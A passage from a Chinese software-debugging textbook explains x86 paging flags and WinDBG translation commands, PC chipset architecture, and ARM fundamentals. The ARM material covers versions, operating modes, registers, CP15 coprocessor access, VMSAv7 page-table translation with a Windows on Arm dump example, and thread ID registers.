⑥ 请读者自己打开xpsp3pae和w764目录下的转储文件,重复上述
步骤,理解PAE模式和64位下的大内存页。
2.7.5 WinDBG的有关命令
前面我们介绍了用手工方法来直接观察页目录表和页表并翻译内存
地址的方法。除了手工方法,也可以使用调试器的命令来完成这些任
务,比如WinDBG提供了以下几个命令。
dg:显示段选择子所指向的段描述符的信息。
!pte:显示出页目录和页表的地址。
!vtop:将虚拟地址翻译为物理地址。
!vpdd:显示物理地址、虚拟地址和内存的内容。
!ptov:显示指定进程中所有物理内存到虚拟内存之间的映射。
!sysptes:显示系统的页目录表项。
当程序执行时,CPU内部的内存管理单元(Memory Management
Unit,MMU)负责将线性地址翻译为物理地址。页表和页目录位于内
存中。为了减少当翻译地址时访问页表和页目录所造成的开销,CPU会
把最近使用的页表和页目录表项存储在CPU内的专用高速缓存中,该缓
存称为译址旁视缓存(Translation Lookaside Buffer,TLB)。有了
TLB,大多数对页目录和页表的访问请求都可以从TLB中读取,这大大
提高了地址翻译的速度。
启用分页机制不是进入保护模式的必要条件(前面讲的分段机制是
保护模式所必需的)。而且是否启用分页机制也不会影响段管理模式,
只是增加了一级映射,系统要根据页表将分段机制形成的线性地址转换
为物理地址。如果不启用分页机制(对于286根本没有分页机制),那
么段机制形成的线性地址就是物理地址。
从图2-10、图2-11和图2-12中我们可以看到,PDE和PTE中包含的很
多标志与段描述符中的标志很类似,如访问标志、读写标志、存在标志
和AVL标志,表2-5归纳了这些标志的含义。
表2-5 段描述符和PTE/PDE中的相似标志
段 描 述 符
PTE或PDE
描 述
P标志
P标志
存在标志
Type中的A标志
A标志
是否被访问过
Type中的R和W标志
R/W
读写控制
AVL
Avail
留给系统软件使用
DPL
U/S
特权级别
这里再讨论一下PDE和PTE中的U/S标志与段描述符中的DPL标志的
相似性。U/S标志代表一个(PTE)或一组(PDE)内存页的特权级
别。U/S标志为0时代表的是管理特权级(supervisor privilege level),
U/S标志为1代表的是用户特权级(user privilege level)。DPL代表的是
该描述符所描述的段的特权级别,0最高,3最低。尽管DPL有4个值,
但是实际上被使用的主要是0(系统特权级)和3(用户特权级)。因此
可以说U/S标志与DPL标志具有同样的作用。
看到这里读者可能会问,为什么要在分段和分页这两种机制中重复
定义这些标志呢?对于大多数IA-32系统,段机制和页机制都是同时启
用的,会不会因为两个地方都要检查这些标志而影响性能呢?简单的回
答是为了兼容。段机制是x86处理器与生俱来的重要特征之一,从第一
代8086 CPU开始所有x86处理器都保持着该特征。尽管在今天看来,有
了分页机制后,分段机制已经变得越来越不重要了,但是为了兼容性和
权限管理,还必须保留分段机制。可以通过若干措施来淡化分段机制的
影响和作用,比如将段的基址设为0,大小设为4GB,这样一个任务的
整个地址空间便都在一个段中了,从效果上相当于取消了分段。在IA-
32e(64-位)模式下,段描述符的基地址和边界值有时会被忽略,但仍
然会用到其中的某些标志和特权级别。
2.8 PC系统概貌
前面几节对CPU的内部特征、功能和发展做了初步介绍。本节从计
算机系统的角度简要描述CPU是如何与其他部件交互的。尽管本节的概
念也适用于某些服务器和工作站系统,但是这里以配备英特尔架构处理
器的常见PC(个人计算机)系统为例。
图2-15粗略勾勒出了一个经典PC系统的主要部件和连接方式。从上
而下,CPU通过前端总线(FSB)与内存控制器(Memory Controller
Hub,MCH)相连接。在多核技术出现之前,大多数PC系统通常只配
备一个CPU,多核技术使一个CPU外壳内包含多个CPU内核。比如,英
特尔的奔腾D 950(D代表Dual,即双内核)CPU内部就包含两个完整的
处理器内核,每个内核有自己的寄存器和高速缓存。因此随着多核技术
的普及,越来越多的PC系统将是多CPU的。目前的前端总线设计是每个
总线上最多有4个CPU,如果要支持更多的CPU,那么可以通过Cluster
Bridge将多个前端总线连接在一起。
图2-15 经典PC系统示意图
MCH上除了有内存接口外,通常还有显示卡接口,比如图形加速
端口(Accelerated Graphics Port,AGP)或PCI Express 16x接口。MCH
的下面是输入输出控制器(I/O Controller Hub,ICH)。ICH集成了用于
和外部设备进行通信的各种接口,如连接USB设备的USB接口(USB1.1
和USB2.0)、连接普通硬盘的IDE接口(即PATA接口)、连接SATA硬
盘的SATA(Serial ATA)接口、连接BIOS芯片的SPI(Serial Peripheral
Interface)接口,等等。此外,ICH还提供了对一些通用总线的支持,
比如I2C(Inter-Integrated Circuit)总线、LPC(Low Pin Count)总线和
PCI(Peripheral Component Interconnect)总线等。例如,通过LPC总线
与ICH相连接的Super IO芯片(比如LPC47m172)上集结了很多小数据
量的外部设备,包括串口、并口、PS/2 键盘鼠标和各种LED指示灯等。
ICH内部通常还包含集成的网卡和声卡(AC’97或HD Audio,HD是High
Definition的缩写)。
MCH和ICH就好像两座桥梁,它们将整个系统联系起来。因此人们
通常又把它们分别称为北桥和南桥。北桥和南桥是计算机主板上最重要
的芯片,经常统称为芯片组(chipset)。MCH和ICH之间是通过专用的
称为直接媒体接口(Direct Media Interface,DMI)的高速接口相连接
的。
最近几年,PC系统的芯片架构有所变化,MCH芯片消失,它的内
存管理器和集成显卡部分向上被集成到CPU芯片中,总线控制器和其他
部分向下与ICH合成在一起,称为PCH(Platform Controller Hub)。总
体来看,由原来的“CPU + MCH + ICH”的三芯片架构演变为“CPU +
PCH”的双芯片架构。
2.9 ARM架构基础
与大多数PC系统里都有一颗英特尔架构的处理器类似,大多数智
能手机、平板电脑等移动设备中使用的都是ARM架构的处理器。本节
将简要介绍ARM架构的基本概念和关键特征,本篇后续章节将介绍
ARM架构的调试支持。
2.9.1 ARM的多重含义
可能是因为ARM公司的人太喜欢A、R、M这3个字母了,他们总是
一有机会就使用这3个字母,不断赋予其更多含义。
ARM缩写的最初含义是Acorn RISC Machine,代表英国Acron计算
机公司的RISC芯片项目。该项目于1983年开始,于1985年4月在
VLSI(总部在硅谷的半导体公司)流片并通过测试,于1986年开始应
用于个人电脑、PDA等领域。
1990年,苹果公司、VLSI准备和Acorn一起合作研发ARM CPU,大
家一致认为应该成立一家新的公司,于是在1990年11月成立了名为
Advanced RISC Machines Ltd.的公司。于是,ARM缩写的含义改变为
Advanced RISC Machines。1998年,这家公司改名为ARM Holdings,即
今天使用的名字。
A、R、M这 3 个字母在ARM架构中的另一种重要含义是代表ARM
架构的A、R、M三大系列(Profile)。
A系列的全称是Application profile,面向比较复杂的通用应用,支
持分页模式和复杂的虚拟内存管理,即所谓的基于MMU(Memory
Management Unit)的虚拟内存系统架构(Virtual Memory System
Architecture,VMSA),手机中使用的ARM芯片大多是这一系列的芯
片,本书中讨论的主要是这一系列。R系列的全称是Real-time profile,
主要用于高实时性要求的各种传统嵌入式设备,支持基于MPU的保护内
存系统架构(Protected Memory System Architecture,PMSA)。M系列
的全称是Microcontroller profile,用于功能单一的深度嵌入式设备。
ARM架构的每个版本一般都会包含以上3个系列的设计,文档也是按这
3个系列分类的,比如ARMv8-A代表ARM版本8的A系列。
ARM缩写的另一种重要含义是代表架构参考手册(Architecture
Reference Manual)。ARM的作用类似于英特尔架构的SDM(Software
Developer’s Manual),是学习和使用ARM架构处理器最重要的资料。
值得说明的是,与英特尔公司不同,ARM公司没有芯片工厂,并不直
接生产和销售芯片,它的主要商业模式是把ARM架构授权给高通、三
星、华为等公司,收取授权费。这种授权模式决定了ARM手册(本书
在文档含义的ARM缩写后加“手册”二字以便阅读)只是关于ARM架构
的通用特征和参考,定义了所有ARM架构处理器应该兼容的外部特
征,不是内部实现。这里的外部特征是指对编程者可见的特征。用
ARM手册上的话来说,ARM手册定义了一个“抽象机器”的行为
(defines the behavior of an abstract machine),这个抽象机器称为处理
器单元(Processing Element,PE)。ARM手册还描述了编程者应该遵
循的规则。
以上介绍了“ARM”的几种不同含义,了解这些基本知识对于阅读
ARM文档是很重要的,不然就可能被下面这样ARM连续出现的情况绕
晕。
During work on this issue of the ARMv8 ARM, a software issue led to
several text insertions disapprearing from chapter D1…
这句话来自作者最近下载的ARM手册的封面,句中的两个ARM,
前一个是Advanced RISC Machines的缩写,后一个是Architecture
Reference Manual的缩写。
老雷评点
此例甚妙,生动地阐释了正文。取自ARM官方真实文档,
亦为格物思想之体现。
2.9.2 主要版本
下面简要介绍一下ARM架构的几个重要版本,从ARMv3到
ARMv8。事先需要说明的是,我们描述的目标是架构,而不是微架
构,这两个术语在CPU领域有着很大的差异,通常架构指的是CPU的外
部行为和编程特征(Application Binary Interface,ABI),而后者指的
是CPU的内部设计和结构。在ARM社区中,像ARMv8这样的写法代表
的是ARM架构版本8。微架构是实现相关的,有很多种,比如Cortex是
ARM公司自己设计的著名微架构,该微架构又分很多个版本,分别实
现了不同版本的ARM架构,例如Cortex-A35实现了ARMv8架构的A系列
特征(A profile)。再如,XScale是英特尔公司设计后来卖给了Marvell
的微架构,实现的是ARMv5架构。其他著名的微架构还有AMD公司的
K12、高通公司的Kryo(实现ARMv8-A)、苹果公司的Twister(实现
ARMv8-A)等。早期的微架构常常直接用ARM8、ARM9这样的写法,
注意,其中的数字常常与架构版本不一致,比如ARM6和ARM7实现的
都是ARMv3,ARM8实现的是ARMv4。
苹果公司于1993年开始制造的牛顿PDA(个人数字助理)使用的是
ARM610芯片,实现的是ARMv3架构。相对之前的ARMv2和ARMv1,
ARMv3的主要改进如下。
内存地址从26位增大到32位。
引入了长乘法指令。
1994年,ARM迎来了大腾飞的契机。很早就开始购买ARM授权的
TI公司建议当时的著名手机厂商诺基亚使用ARM芯片。但是诺基亚反
对这个提议,原因是担心ARM的4字节定长指令会加大内存开销,增加
成本。来自潜在客户的这个意见不仅没有难倒ARM,还激发了他们的
灵感,很快开发出一套16位的指令集,即Thumb技术。这个技术首先授
权给TI,生产出的ARM7-TDMI芯片最早用在诺基亚的6110手机中,这
是使用ARM芯片的第一款GSM手机,大获成功。6110手机的流行让
ARM7系列成为当时手机芯片的主流选择。很多公司争相购买ARM7授
权,使得卖出的授权数多达165个,生产的芯片超过100亿。ARM7的成
功让ARM公司富了起来,搬出了成立初期办公用的谷仓(barn),并于
1998年成功上市。ARM7-TDMI实现的是ARMv4T(T代表Thumb)架
构。该版本的主要改进如下。
引入Thumb指令集。
新增了系统模式(system mode)。
丢弃了旧的26位寻址模式。
除了众多手机外,著名的苹果iPod第一代到第三代内部使用的也是
ARM7-TDMI芯片。
著名的黑莓智能手机曾经风靡一时,它内部使用的处理器有多种,
于2006年推出的8100系列使用的是XScale PXA900,实现的是
ARMv5TE(T代表Thumb,E代表DSP增强,见下文),ARMv5的主要
改进如下。
提高了ARM指令和Thumb指令交替工作时的效率。
引入饱和算术指令。
引入旨在加快Java程序执行速度的Jazelle扩展。
新增软件断点指令(BKPT)。
引入旨在增强DSP算法的E变种(variant)和J变种(J代表
Jazelle)。
于2006年7月上市的诺基亚N93翻盖手机使用的是ARM11芯片,实
现的是ARMv6架构。ARMv6的新特征主要如下。
将专门支持调试的14号协处理器(简称CP14)正式纳入ARM架
构。
单指令多数据(SIMD)支持。
非对齐数据支持。
将Thumb技术增强为支持混合使用16位指令和32位指令,称为
Thumb-2扩展。
旨在提高安全性的TrustZone扩展。
将ARM调试接口(ARM Debug Interface)纳入架构定义。
苹果公司于2010年4月推出的第一代iPad内部使用的是苹果公司设
计的A4芯片,A4是典型的片上系统SoC(System on Chip),其中包含
的CPU是Cortex-A8核心,实现的是ARMv7架构。ARMv7的新特征主要
如下。
将Thumb-2扩展正式纳入ARM架构中。
引入上文介绍的A、R、M三大系列定义。
名为Neon的改进SIMD技术扩展。
虚拟化技术扩展。
引入更好执行动态语言代码的ThumbEE技术。
将性能监视扩展纳入ARM架构,定义了两个版本的性能监视单元
(Performance Monitor Unit),分别称为PMUv1和PMUv2。
实现ARMv7的著名微架构还有Cortex-A9、Cortex-A15以及TI公司
的OMAP3。
于2011年10月首次宣布技术细节的ARMv8的主要改进如下。
引入64位支持,处理器有两种执行状态——AArch64和AArch32,
前者对应的指令集称为A64,后者可以执行A32(等长的ARM指
令)和T32(变长的Thumb2指令)两种指令集。
将NEON扩展技术纳入ARM架构标准中。
增加用于密码处理的多条指令,这称为密码扩展。
将性能监视单元(Performance Monitor Unit)升级到版本3,称为
PMUv3。
2.9.3 操作模式和状态
操作模式(operating mode)又称为处理器模式(processor
mode),是CPU运行的重要参数,决定着处理器的工作方式,比如如何
裁决特权级别和报告异常等。相对于x86,ARM架构的操作模式更多,
而且不同版本还可能有所不同。我们先以上面提到的经典ARM7-TDMI
为例介绍常见的7种操作模式,然后再介绍最近版本的新增模式。
管理员(Supervisor)模式:供操作系统使用的受保护模式,CPU
上电复位后即进入此模式,或者当应用程序执行SVC指令调用系统
服务时也会进入此模式。操作系统内核的普通代码通常工作在这个
模式下。
用户(User)模式:用来执行普通应用程序代码的低特权模式。
中断(IRQ)模式:用来处理普通中断的模式。
快中断(Fast IRQ)模式:用来处理高优先级中断的模式。
中止(Abort)模式:访问内存失败时进入的模式。
未定义模式(Undef):当执行未定义指令后进入的模式。
系统模式(System):供操作系统使用的高特权用户模式。
ARMv6引入的TrustZone技术新增了一个Monitor操作模式,供系统
信任的代码使用,执行SMC(Secure Monitor Call)指令会进入此模
式。
ARMv7引入的虚拟化技术新增了一个Hypervisor操作模式,供虚拟
机监视器(VMM)代码使用。
在ARMv6-M中,还定义了Thread mode和Handler mode供RTOS使用
(本书从略),表 2-6 列出了上面介绍的各种模式。第三列是该模式在
程序状态寄存器(PSR,稍后介绍)中的模式指示位域(Bit 0-4)的二
进制编码。
表2-6 ARM处理器的操作模式
模式
简
称
PSR中的编
码
描 述
特权级
别
是否异常模
式
Supervisor Svc
10011
供操作系统的内核代码使用
PL1
是
FIQ
Fiq
10001
供高优先级中断的处理函数使
用
PL1
是
IRQ
Irq
10010
供普通中断的处理函数使用
PL1
是
Abort
Abt
10111
用来处理内存访问失败
PL1
是
Undef
Und
11011
用来处理未定义指令异常
PL1
是
System
Sys
11111
供操作系统使用的高特权用户
模式
PL1
否
User
Usr
10000
供普通应用程序使用的低特权
模式
PL0
否
Monitor
Mon 10110
供系统信任的安全代码使用
PL1
是
Hyp
Hyp
11010
供虚拟机监视器代码使用
PL2
是
举例来说,在图2-16所示的执行现场,PSR寄存器的低5位为
10011,代表处理器的操作模式是管理员模式。
图2-16 32位ARM处理器执行现场
与x86类似,ARM架构也定义了4种特权级别,PL0~PL3,不过
PL0级别最低,PL3级别最高,刚好与x86相反。在ARM架构中,CPU的
当前特权级别是由CPU的工作模式决定的,表2-6的第5列给出了CPU运
行在不同工作模式时的对应特权级别。此外,ARM手册中还经常出现
EL0、EL1、EL2和EL3这样的写法,代表的是4种异常级别(exception
level),也是EL0最低,EL3最高。根据ARMv8手册,异常级别决定了
特权级别,在ELn执行时的特权级别就是PLn。因此,大多数时候二者
是一一对应的。
除了工作模式和特权级别,ARM架构还有一个关键概念称为状态
(state),包括如下4种。
指令集状态:记录和指示当前使用的指令集,以ARMv7为例,共
支持4种指令集(ARM、Thumb、Jazelle和 ThumbEE),名为
ISETSTATE的内部寄存器维护着当前的指令集状态。
执行状态:记录和指示指令的执行状态,控制着指令流的解码方式
等,下文介绍的程序状态寄存器包含了大多数执行状态信息。
安全状态:当处理器支持安全扩展或者虚拟化扩展时,安全状态记
录着当前代码的安全状态。
调试状态:当CPU因为调试目的而被暂停(halted)时进入所谓的
调试状态,否则处于非调试状态。
我们将在第7章中详细介绍专门为调试目的设计的调试状态。
2.9.4 32位架构核心寄存器
前面提到,RISC指令集的处理器通常有数量较多的寄存器。ARM
架构也不例外。在32位的ARM架构中,核心寄存器(core register)一
般有37个或者更多,这视处理器实现的功能多少而定。所谓核心寄存器
就是指ARM处理器内核执行常规指令时使用的寄存器,不包括用于浮
点计算和SIMD技术的特殊寄存器,也可以理解为ARM的核心处理器单
元(PE)中的寄存器,不包括外围的协处理器中的寄存器。下面分几组
分别介绍这些寄存器。
(1)R0~R7:这8个寄存器是最普通的,所有模式都可以访问和
使用。在函数返回时,常常使用R0寄存器传递函数返回值,其作用相当
于x86的EAX。
(2)R8~R12:这5个寄存器有两份,一份是专门给FIQ模式用
的,另一份是所有其他模式都可以使用的。在ARM手册中,这种特征
的寄存器有个专门的称呼,叫banked register。bank的本意是银行和存
款,在这里的意思是“有备份的”。举例来说,当CPU执行用户代码时,
来了个高优先级的中断,于是CPU要进入FIQ模式运行,对于没有备份
的寄存器,比如R0~R7,如果中断处理函数要使用,那么必须在中断
返回前恢复这些寄存器,但对于R8~R12则不同,因为FIQ模式有自己
的R8~R12,所以使用这几个寄存器时实际使用的是自己那一份,不必
担心会影响用户模式的R8~R12。这样的寄存器技术在安腾等CPU中也
有使用,有时称为影子寄存器(shadow register),好处是可以降低处
理中断的开销、提高性能。
(3)R13:用作栈指针(Stack Pointer,SP),它也是banked
register,而且所有模式都有一份,共有6个(有虚拟化支持时再多一
个),分别用于用户、IRQ、FIQ、未定义、中止和管理员模式。在
ARM手册中,有时用SP_usr、SP_svc这样的写法来表示不同模式下的SP
寄存器。
(4)R14:又称为Link Register,简称LR,在调用子函数时,ARM
处理器会自动将子函数的返回地址放到这个寄存器中。如果子函数是所
谓的叶子函数(不再调用子函数),那么就可以不必额外保存返回地址
了,比如下面的KeGetCurrentStackPointer函数只有两条指令,把栈指针
寄存器赋给r0,然后直接使用bx lr跳转回父函数。
nt!KeGetCurrentStackPointer:
81034e68 4668 mov r0,sp
81034e6a 4770 bx lr
如果是非叶子函数,那么通常在函数开头将LR的值保存到栈上。
以下面的KeEnterKernel Debugger函数为例,函数入口处的push指令
(支持一次压入多个寄存器)便是把R11和LR寄存器的值都保存到栈
上。其后的mov指令把栈指针的值放到R11中,用作栈帧基地址(相当
于x86的EBP)。
nt!KeEnterKernelDebugger:
81152f40 e92d4800 push {r11,lr}
81152f44 46eb mov r11,sp
LR也具有bank特征,每个模式都有一个。
(5)R15:程序指针寄存器(Program Counter,PC)。当执行
ARM指令(每条指令4字节)时,它的值为当前指令的地址加8;当执
行Thumb指令时,它的值为当前指令的地址加4,其设计原则是让PC指
向当前指令后面的第二条指令。
(6)CPSR:当前程序状态寄存器(Current Program Status
Register),记录着处理器的状态和控制信息,其作用与x86的标志寄存
器(EFLAGS)类似。图2-17是来自ARMv7架构手册的CPSR寄存器格
式定义。其中的M[4:0]代表当前的操作模式,其编码见表2-6。J位和T位
一起来指示当前的指令集状态,00代表ARM指令集,01代表Thumb指令
集,10代表支持Java字节码的Jazelle指令集,11代表更好支持动态语言
的ThumbEE指令集。例如,在图2-16所示的执行现场中,T位为1,代表
当时的指令集是Thumb指令集。A、I、F这3个位都是所谓的屏蔽位,分
别控制异步中止、普通中断和高优先级中断,为1时屏蔽相应中断,为0
时不屏蔽。E位用来控制加载和存储数据时的字节顺序,称为
Endianness,为0时代表小端(little-endian),为1时代表大端(big-
endian)。GE[3:0]位的全称是Greater than or Equal标志,供SIMD指令做
并行加减法时使用。IT[7:0]是供Thumb指令集中的If-Then指令使用的执
行状态位。Q位是累加饱和(cumulative saturation)状态位。最高的N、
Z、C、V这4个位是所谓的条件状态位,某些指令用它们指示结果,它
们代表的状态依次为负数(Negative)、0(Zero)、进位(Carry)和
溢出(Overflow)。
图2-17 当前程序状态寄存器(CPSR)的位定义
(7)SPSR:保存的程序状态寄存器(Saved Program Status
Registers),具有bank特征,每个异常模式都有一个,用来保存异常发
生前的CPSR。在ARM手册中,常用SPSR_abt、SPSR_fiq这样的写法来
代表不同模式下的SPSR寄存器。
来自ARM手册的图2-18以表格形式呈现了32位ARM架构的所有核
心寄存器,PC寄存器那一行上面的寄存器一般统称为通用(general-
purpose)寄存器,下面的统称为特殊(special-purpose)寄存器。ARM
手册特别指出了空单元格的含义,当CPU在所在列对应的模式执行时,
可以使用所在行对应的用户模式寄存器。举例来说,当CPU在所有非用
户模式下执行时,都可以使用PC寄存器(名义上属于用户模式)。类
似的系统模式没有专属自己的寄存器,在该模式下执行时,使用的都是
用户模式的寄存器。
对于图2-18中的APSR,从软件接口的角度来看,它不是单独的寄
存器,只是CPSR寄存器中的NZCVQ和GE位。这些位是应用程序可写
的,名字中的A是Application的缩写。
图2-18 32位ARM架构核心寄存器一览
2.9.5 协处理器
ARM的授权模式要求ARM架构高度模块化,以便客户根据需要裁
剪定制,选择需要的模块。协处理器可谓是实现模块化的一种方式。所
谓协处理器通常是指用来协助主CPU完成某一方面辅助功能的处理器。
比如x86架构中用于做浮点计算的x87就是协处理器的典型例子。ARM
架构支持多达16个协处理器。每个协处理器都有唯一的编号,前面冠以
CP来表示。其中CP8~CP15供ARM架构使用,CP0~CP7供ARM的客户
使用。目前,CP15一般用作包含内存管理单元的系统控制器,CP14用
作调试控制器,CP10和CP11分别用作SIMD和浮点计算。
主CPU和协处理器之间一般通过接口寄存器来通信,这些接口寄存
器通常用C0~C15表示。可以使用MCR和MRC指令来读写协处理器的
接口寄存器,前者为读(Move to ARM Core),后者为写(Move to
Coprocessor)。
MRC指令的一般格式为:
MRC <coproc>,<opc1>,<Rt>,<CRn>,<CRm>{,<opc2>}
其中coproc用来指定要访问的协处理器,Rt用来指定接收数据的
ARM寄存器,CRn和CRm用来指定要访问的协处理器寄存器,opc1和可
选的opc2用来指定协处理器定义的操作码,也可以把CRn、CRm、opc1
和opc2看作一个整体来理解,它们共同指定要访问的协处理器寄存器。
MCR指令的格式与MRC类似。
举例来说,以下两条指令分别用来读写CP15的性能控制寄存器
(PMCR):
MRC p15, 0, <Rt>, c9, c12, 0 ; Read PMCR into Rt
MCR p15, 0, <Rt>, c9, c12, 0 ; Write Rt to PMCR
再如,在下面所列MiFlushAllPages函数的开头的几条指令中,第4
条便是访问CP15的MRC指令,查找ARM手册中关于CP15协处理器寄存
器的定义(ARMv7,B3-1486)可以知道,该指令访问的是线程ID寄存
器(User Read-Only Thread ID Register)。根据第3个操作数,读到的结
果会被写入R3寄存器。
nt!MiFlushAllPages:
81164984 e92d4878 push {r3-r6,r11,lr}
81164988 f10d0b10 add r11,sp,#0x10
8116498c 25ff movs r5,#0xFF
8116498e ee1d3f70 mrc p15,#0,r3,c13,c0,#3
为了便于从高层语言编写的程序中访问协处理器,开发工具通常会
提供便捷的方法,比如微软的编译器提供了如下内建函数(intrinsic)
来向协处理器写数据:
Void _MoveToCoprocessor( unsigned int value, unsigned int coproc, uns
igned int opcode1, unsigned int crn, unsigned int crm, unsigned int opcode
2);
为了简化代码,Windows 10 DDK中定义了很多像下面这样的宏:
#define CP15_TPIDRURO 15, 0, 13, 0, 3
有了这样的宏后,只要这样写代码就可以了:
_MoveToCoprocessor(val, CP15_TPIDRURO);
2.9.6 虚拟内存管理
ARM架构提供了灵活多样的虚拟内存管理机制,本节将通过实例
简要介绍ARMv7-A定义的虚拟内存系统架构(VMSA),简称
VMSAv7。
VMSAv7定义了两种表格式:经典的短描述符格式;类似x86 PAE
的长描述符格式,称为LPAE(Large Physical Address Extension)。我
们把前者简称为短格式,把后者简称为LPAE格式。
短描述符格式具有如下特征。
最多两级页表,分别称为一级页表(first-level table)和二级页表
(second-level table)。
每个表项32字节,称为描述符(descriptor)。
输入地址32位,输出地址最多为40位。
支持多种粒度的内存块,包括4KB(称为小页)、64KB(称为大
页)、1MB(称为section)和16MB(称为super section)。
图2-19所示的是使用短格式时的页表结构,该图根据ARMv7手册的
图B3-3重绘。
图2-19中的TTBR是Translation Table Base Register的简称,其作用
是记录顶级页表的物理地址,相当于x86的CR3寄存器。进一步来讲,
TTBR位于包含MMU的CP15协处理器中。CP15定义了两个TTBR寄存
器,分别称为TTBR0和TTBR1。定义两个TTBR寄存器的目的是让每个
进程可以有两套页表,比如ARM手册建议TTBR1指向内核空间使用的
页表,TTBR0指向用户空间使用的页表。
图2-19 ARM架构的短格式分页
CP15中另一个名为TTBCR(Translation Table Base Control
Register)的寄存器的低3位用于指定N值,按如下规则决定使用TTBR0
和TTBR1。
如果N等于0,那么总是使用TTBR0,实际上禁止了第二套页表。
如果N > 0,那么使用输入虚拟地址的最高N位来做选择,如果N位
都是0,那么使用TTBR0,否则使用TTBR1。
一级页表中每个描述符的最低两位用来指示该描述符的类型,00代
表无效,01代表它描述的是二级页表,10或者11都表示它直接指向的一
个section或者super section。图2-20所示的是前两种类型时的位定义,后
两种格式从略。
图2-20 短格式分页的一级页表描述符(部分)
图2-20中的PXN是Privileged execute-never bit的缩写,为1时代表即
使是高特权的代码也不可以执行该项所指页表描述的所有内存页。
图2-21所示的是短格式分页的二级页表描述符格式,其中的
B(Bufferable)、C(Cacheable)和TEX(Type extension)都是用来描
述内存区域属性的。S(Shareable)位指示该页是否可共享,nG(not
global)位用来指示该页是否为全局页(主要供页表缓存逻辑使用),
AP[2]和AP[1:0]用来描述访问权限(Access Permissions)。
图2-21 短格式分页的二级页表描述符
下面通过一个实验来帮助读者理解前面的内容,并演示地址翻译的
详细过程。我们将观察一个来自32位Windows 10 ARM(Windows on
Arm,WoA)系统的完整转储文件。
随便选取一个svchost进程,从它的进程结构体中可以读出该进程使
用的页目录信息:
3: kd> dt _KPROCESS 94968080
+0x01c PageDirectory : 0x7f37006a Void
根据作者的调查,这个WoA系统使用的是短格式分页,而且没有使
用TTBR1,即TTBCR.N为0。因此,上面PageDirectory字段的值
0x7f37006a就是TTBR0寄存器的内容,其中低14位是属性信息,高18位
是一级页表物理地址的高18位。图2-22显示了该配置下把一个线性地址
翻译到物理地址的过程。
图2-22 短格式分页的地址翻译过程(WoA)
首先,与x86的经典分页模式类似,也是把虚拟地址分成3个部分,
高20位是表索引,低12位为页内偏移。不过,高20位不再是等分,而是
分成12位和8位两个部分。
继续前面的实验,在svchost进程中选取一个包含字符串的用户态地
址,观察其内容为:
0: kd> db 75e11bbc
75e11bbc 75 63 72 74 62 61 73 65-2e 70 64 62 00 00 00 00 ucrtbase.pdb....
然后计算和观察该地址在一级页表中对应的描述符:
0: kd> !dd 0x7f370000+75e*4 L1
#7f371d78 1d536805
上述命令中,75e为线性地址的高12位,即一级页表索引,每个描
述符的长度是4个字节,所以乘以4得到描述符的偏移。命令中的L1指
示!dd命令只显示一个元素(长度为1个单位)。将描述符转换为二进
制:
Binary: 00011101 01010011 01101000 00000101
最低两位为01,所以它描述的是二级页表,结合图2-20可以知道其
他各位的含义。位2的1代表不可执行。位10~31为二级页表的起始物理
地址,即把低10位换为0:
0: kd> ? 0y00011101010100110110100000000000
Evaluate expression: 492005376 = 1d536800
上面的结果0x1d536800就是二级页表的基地址(物理地址),取线
性地址的中间8位作为二级页表的索引,便可以计算出线性地址在二级
页表中的描述符地址,即:
3: kd> !dd 1d536800+11*4 L1
#1d536844 11873a22
其中,低12位为页属性,转换为二进制后可以参考图2-21知道每一
位的含义:
1010 00100010
最低两位的10代表该页有效,在物理内存中,位11的1代表不是全
局页(not Global)。位9和位5、4共同描述页的访问属性,即110,查
看ARM手册的表B3-8,可以知道其含义为只读(read only)。
将上面的二级描述符的低12位换为线性地址的低12位即得到完整的
物理地址,观察其内容:
0: kd> !db 11873bbc
#11873bbc 75 63 72 74 62 61 73 65-2e 70 64 62 00 00 00 00 ucrtbase.pdb....
与前面观察线性地址得到结果一样,说明我们手工翻译成功了。
顺便说一下,也可以使用WinDBG的!pte命令来自动翻译:
0: kd> !pte 75e11bbc
VA 75e11bbc
PDE at C030075C PTE at C01D7844
contains 1D536893 contains 11873A22
pfn 1d536 --D-W-KA-V- pfn 11873 ----R-U—VE
得到物理页编号(PFN)为11873,加上页内偏移即完整的物理地
址,与上面的结果是一致的。但值得注意的是,一级描述符的内容却不
一样,我们手工翻译观察到的是1d536805,而!pte命令给出的是
1D536893。这起初让作者很困惑,经过一番探索作者发现,WoA还维
护着一套经典x86格式的页表,!process命令显示出的进程页目录基地址
(DirBase)即是那套页表的起始物理地址:
PROCESS 94968080 SessionId: 0 Cid: 07d0 Peb: 004d0000 ParentCid: 01e
4
DirBase: 1d467000
观察_KPROCESS时也可以看到这个信息,记录在
DirectoryTableBase字段中:
+0x018 DirectoryTableBase : 0x1d467000
老雷评点
此x86兼容格式页表或许与x86模拟器(让x86应用程序可以
运行在WoA上)有关。
2.9.7 伪段支持
ARM架构没有x86那样的段机制(见2.6节),但是像Windows和
Linux这样的操作系统都还是需要段机制的,主要是用来保存少量的当
前线程(用户态)和处理器(内核态)信息,比如在32位Windows系统
中,当CPU在内核空间执行时,FS段中保存的当前CPU的处理器控制块
(PRCB),当CPU在用户空间执行时,FS段中保存的是线程环境块
(TEB)。为了支持操作系统的这一需求,ARMv7引入了3个线程ID寄
存器(见表2-7),可以让操作系统记录下一块内存区的基地址,弥补
缺少段设施的不足,但是并不支持段边界、段属性等功能,因此,本书
将其称为伪段支持。
表2-7 ARMv7引入的伪段支持
名 称
CRn opc1 CRm opc2
宽
度
类型
描 述
TPIDRPRW
C13
0
C0
4
32-
bit
RW
仅供PL1权限访问的线程ID寄
存器
TPIDRURO
C13
0
C0
3
32-
bit
RW,PL0 在用户模式只读的线程ID寄
存器
TPIDRURW C13
0
C0
2
32-
bit
RW,PL0 在用户模式可以读写的线程
ID寄存器
根据作者的调查分析,Windows是按照如下方式使用表2-7中的寄存
器的。
使用TPIDRURO保存当前线程的KTHREAD地址。KTHREAD是每
个线程在内核空间中的核心数据结构。
使用TPIDRURW保存当前线程的TEB地址。TEB是每个线程在用户
空间中的核心数据结构。
使用TPIDRPRW保存当前CPU的KPCR地址。KPCR(Kernel
Processor Control Region)是每个CPU的核心数据结构地址。
在Windows 10 DDK的头文件中可以找到下面几个宏,它们是用来
简化访问以上3个寄存器内容的:
MACRO
CURTHREAD_READ $Reg
CP_READ $Reg, CP15_TPIDRURO ; read from user r/o coprocessor register
bic $Reg, #CP15_THREAD_RESERVED_MASK ; clear reserved thread bits
MEND
MACRO
TEB_READ $Reg
CP_READ $Reg, CP15_TPIDRURW
MEND
MACRO
PCR_READ $Reg
CP_READ $Reg, CP15_TPIDRPRW ; read from svc r/w coprocessor register
